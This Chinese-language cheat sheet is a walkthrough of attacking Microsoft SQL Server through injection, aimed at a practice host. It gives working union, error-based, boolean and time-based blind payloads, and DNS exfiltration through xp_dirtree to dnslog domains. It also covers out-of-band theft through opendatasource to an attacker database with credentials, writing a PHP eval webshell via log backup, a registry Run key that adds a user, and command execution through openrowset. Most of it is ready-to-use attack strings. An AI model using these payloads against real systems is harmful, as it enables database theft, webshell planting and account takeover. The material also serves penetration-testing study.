msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
#数据库的连接 server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB count(name)是查询总数 name是查询名字 *是查询详细信息 #查询数据库 select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令 select name from sysdatabases #查询数据库的名字 select * from sysdatabases #查询所有数据库的信息 #查询数据表 select count(name) from sysobjects where type='U' #查询当前数据库中表的个数 select name from sysobjects where type='U' #查询当前数据库中所有表的名字 select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息 select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数 select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字 select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息 #查询列 select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数 select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字 select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息 select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数 select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字 select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息 #查询数据 select count(*) from test..users #查询test数据库user表的数据的条数 select * from test..users #查询test数据库user表的所有数据
http://hackrock.com:8205/?id=1 and (select count(*) from sysobjects)>0
若返回正常,说明该数据库为mssql
判断查询列数
1 2 3
http://hackrock.com:8205/?id=1 order by 3
http://hackrock.com:8205/?id=1 order by 4
判断回显位
1 2 3
http://hackrock.com:8205/?id=-1 union select null,null,null #先使用NULL填充列数
http://hackrock.com:8205/?id=-1 union select 1,'2','3' #先用数字填充,若报错,则用字符填充
获取数据库名
1 2 3 4 5
http://hackrock.com:8205/?id=-1 union select 1,@@version,'3' #获取数据库版本信息
http://hackrock.com:8205/?id=-1 union select 1,db_name(),'3' #获取当前数据库名
http://hackrock.com:8205/?id=-1 union select 1,db_name(1),'3' #获取第1个数据库名
获取表名
1 2 3 4 5
http://hackrock.com:8205/?id=-1 union select 1,name,'3' from test.sys.sysobjects where xtype='U' #获取test数据库的所有表名(若可以显示多行数据)
http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from test.sys.sysobjects where xtype='U' #获取test数据库的第1张表名
http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from test.sys.sysobjects where xtype='U' and name <> 'newss' #获取test数据库的第1张不为'newss'的表名(即第2张表名)
获取字段名
1 2 3 4 5 6 7
http://hackrock.com:8205/?id=-1 union select 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') #获取test数据库下的users表的所有字段名(若可以显示多行数据)
http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') #获取test数据库下users表的第1个字段名
http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') and name <> 'id' #获取test数据库下users表的第1个不为'id'的字段名(即第2个字段名)
http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') and name <> 'id' and name <> 'username' #获取test数据库下users表的第1个不为'id'且不为'username'的字段名(即第3个字段名)
获取数据
1 2 3 4 5
http://hackrock.com:8205/?id=-1 union select 1,username,password from users #获取所有数据(若可以显示多行数据)
http://hackrock.com:8205/?id=-1 union select top 1 1,username,password from users #获取第1个数据
http://hackrock.com:8205/?id=-1 union select top 1 1,username,password from users where username <> 'admin' #获取username不为'admin'的数据(第2个数据)
报错注入
获取数据库名
1 2 3 4 5 6 7
http://hackrock.com:8205/?id=1 and 1=(@@version) #获取数据库版本信息
http://hackrock.com:8205/?id=1 and 1=(select db_name()) #获取当前数据库
http://hackrock.com:8205/?id=1 and 1=(select db_name(1)) #获取第1个数据库名
http://hackrock.com:8205/?id=1 and 1=(select name from master..sysdatabases for xml path) #获取所有数据库名
获取表名
1 2 3
http://hackrock.com:8205/?id=1 and 1=(select top 1 name from test.sys.sysobjects where xtype='U') #获取test数据库的第1张表名
http://hackrock.com:8205/?id=1 and 1=(select top 1 name from test.sys.sysobjects where xtype='U' and name <> 'newss') #获取test数据库的第1张不为'newss'的表名(即第2张表名)
获取字段名
1 2 3
http://hackrock.com:8205/?id=1 and 1=(select top 1 name from syscolumns where id in (select id from test.sys.sysobjects where name='users')) #获取test数据库下users表的第1个字段名
http://hackrock.com:8205/?id=1 and 1=(select top 1 name from syscolumns where id in (select id from test.sys.sysobjects where name='users') and name <> 'id') #获取test数据库下users表的第1个不为'id'的字段名(即第2个字段名)
获取数据
1 2 3
http://hackrock.com:8205/?id=1 and 1=(select top 1 username from users) #获取第1个数据
http://hackrock.com:8205/?id=1 and 1=(select top 1 username from users where username <> 'admin') #获取username不为'admin'的数据(第2个数据)
布尔型盲注
判断数据库的数量
1
http://hackrock.com:8205/?id=1 and (select count(*) from master..sysdatabases)>7 #判断数据库数量(包括4个系统数据库)
判断数据库长度
1 2 3
http://hackrock.com:8205/?id=1 and len(db_name())>3 #判断当前数据库的长度
http://hackrock.com:8205/?id=1 and len(db_name(1))>3 #判断第1个数据库的长度
猜解数据库名
1
http://hackrock.com:8205/?id=1 and ascii(substring((select db_name()),1,1))>100 #若回显正常说明当前数据库第1个字符的ASCII码值大于100
判断数据库中表的数量
1
http://hackrock.com:8205/?id=1 and (select count(*) from test.sys.sysobjects where xtype='U')>2
判断数据库中表的长度
1 2 3 4 5
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..sysobjects where xtype='U')>3 #判断第1张表的长度
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..sysobjects where xtype='U' and name not in (select top 1 name from test.sys.sysobjects where xtype='U'))>3 #判断第2张表的长度
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..sysobjects where xtype='U' and name not in (select top 2 name from test.sys.sysobjects where xtype='U'))>3 #判断第3张表的长度
猜解表名
1 2 3 4 5
http://hackrock.com:8205/?id=1 and (select ascii(substring((select top 1 name from test..sysobjects where xtype='U'),1,1)))>100 #猜解第1张表的表名
http://hackrock.com:8205/?id=1 and (select ascii(substring((select top 1 name from test..sysobjects where xtype='U' and name not in (select top 1 name from test.sys.sysobjects where xtype='U')),1,1)))>100 #猜解第2张表的表名
http://hackrock.com:8205/?id=1 and (select ascii(substring((select top 1 name from test..sysobjects where xtype='U' and name not in (select top 2 name from test.sys.sysobjects where xtype='U')),1,1)))>100 #猜解第3张表的表名
判断字段数量
1
http://hackrock.com:8205/?id=1 and (select count(*) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))>2 #判断users表的字段数量
判断字段的长度
1 2 3 4 5
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))>1 #判断users表的第1个字段的长度
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1 #判断users表的第2个字段的长度
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1 #判断users表的第3个字段的长度
猜解字段名
1 2 3 4 5
http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')),1,1))>100 #猜解users表的第1个字段名
http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100 #猜解users表的第2个字段名
http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100 #猜解users表的第3个字段名
猜解数据
1
http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 username from users),1,1))>100 #猜解users表的username字段的值
http://hackrock.com:8205/?id=1 if (ascii(substring((select db_name()),1,1))>100) waitfor delay '0:0:3' #若延迟3秒以上,说明当前数据库第1个字符的ASCII码值大于100
猜解表名
1 2 3 4 5
http://hackrock.com:8205/?id=1 if ((select ascii(substring((select top 1 name from test..sysobjects where xtype='U'),1,1)))>100) waitfor delay '0:0:3' #判断users表的第1个字段的长度
http://hackrock.com:8205/?id=1 if ((select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1) waitfor delay '0:0:3' #猜解第2张表的表名
http://hackrock.com:8205/?id=1 if ((select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1) waitfor delay '0:0:3' #猜解第3张表的表名
猜解字段名
1 2 3 4 5
http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')),1,1))>100) waitfor delay '0:0:3' #猜解users表的第1个字段名
http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100) waitfor delay '0:0:3' #猜解users表的第2个字段名
http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100) waitfor delay '0:0:3' #猜解users表的第2个字段名
猜解数据
1
http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 username from users),1,1))>100) waitfor delay '0:0:3' #猜解users表的username字段的值
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test.sys.sysobjects where xtype='U')%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取当前表名
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test.sys.sysobjects where xtype='U' and name not in (select top 1 name from test.sys.sysobjects where xtype='U'))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取第2张表名
获取字段名
1 2 3 4 5
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from syscolumns where id in (select id from test.sys.sysobjects where name='users'))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取users表的第1个字段名
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取users表的第1个字段名
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取users表的第3个字段名
获取数据
1
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2brtrim(cast((select top 1 username from users)as varchar))%2b'.o9i6yq.dnslog.cn\abc';exec master..xp_dirtree @a #rtrim()函数作用为去除字符串右边的空格;cast()函数的作用为将查询到的数据转换为相应的类型
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin –
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
实验演示数据:
连接服务器地址:192.168.123.120
连接数据库名:test_inject
连接数据库用户名:sa
连接数据库密码:Hacker1961
创建一个4个字段的表:test_table
注:在实际渗透过程中切勿使用sa用户进行反弹注入,并且使用云主机的数据库连接,这里只是作为演示。
如果在使用反弹注入的过程中报错:SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,则需要开启Ad Hoc Distributed Queries组件,执行语句如下:
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select name,null,null,null from master.dbo.sysdatabases #获取所有数据库名
查看连接数据库
获取表名
1
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select null,name,null,null from test.sys.sysobjects where xtype='U' #获取test数据库的所有表名
获取字段名
1
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select null,null,name,null from syscolumns where id in (select id from test.sys.sysobjects where name='users') #获取users表中的所有列名
获取数据
1
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select username,password,null,null from users #获取users表中的所有数据
DB_owner权限写WebShell
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马。
判断是否拥有db_owner权限
1
http://hackrock.com:8205/?id=1 and 1=(select is_member('db_owner')) #若返回正常数据,则拥有db_owner权限
利用xp_dirtree查找物理目录
如果我们用DB权限写入一句话是需要知道web目录
1 2 3
http://hackrock.com:8205/?id=1;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity(1,1)) #创建一张临时表
http://hackrock.com:8205/?id=1;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1 #利用xp_dirtree 查询,将指定目录文件和文件夹插入到临时表中,这里查询的是C盘目录
可以通过sql注入,查找temp表下的dir字段的值即可得到c盘下的文件与文件夹
可以通过此方式,查询Web根目录
注:
execute master..xp_dirtree ‘c:’ —列出所有c:\文件、目录、子目录
execute master..xp_dirtree ‘c:’,1 —只列c:\目录
execute master..xp_dirtree ‘c:’,1,1 —列c:\目录、文件
SQLServer常见的备份策略
每周一次完整备份
每天一次差异备份
每小时一次事务日志备份
LOG备份写入WebShell
利用前提:
目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是 完整模式
知道网站的绝对路径
该注入支持堆叠注入
1 2 3 4 5 6 7 8 9 10 11
http://hackrock.com:8205/?id=1;alter database test set RECOVERY FULL #修改数据库恢复模式为 完整模式
http://hackrock.com:8205/?id=1;create table cmd (a image) #创建一张表cmd,只有一个列 a,类型为image
http://hackrock.com:8205/?id=1;backup log test to disk= 'C:\Wamp\apache2.4\htdocs\WWW\1.php' with init #备份表到指定路径
http://hackrock.com:8205/?id=1;insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e) #插入一句话到cmd表里,其中0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
http://hackrock.com:8205/?id=1;backup log test to disk= 'C:\Wamp\apache2.4\htdocs\WWW\2.php' #把操作日志备份到指定文件
将命令写入注册表启动项 http://hackrock.com:8205/?id=1;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','black','REG_SZ','net user test test /add'
http://hackrock.com:8205/?id=1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user estelle 123456 /add")')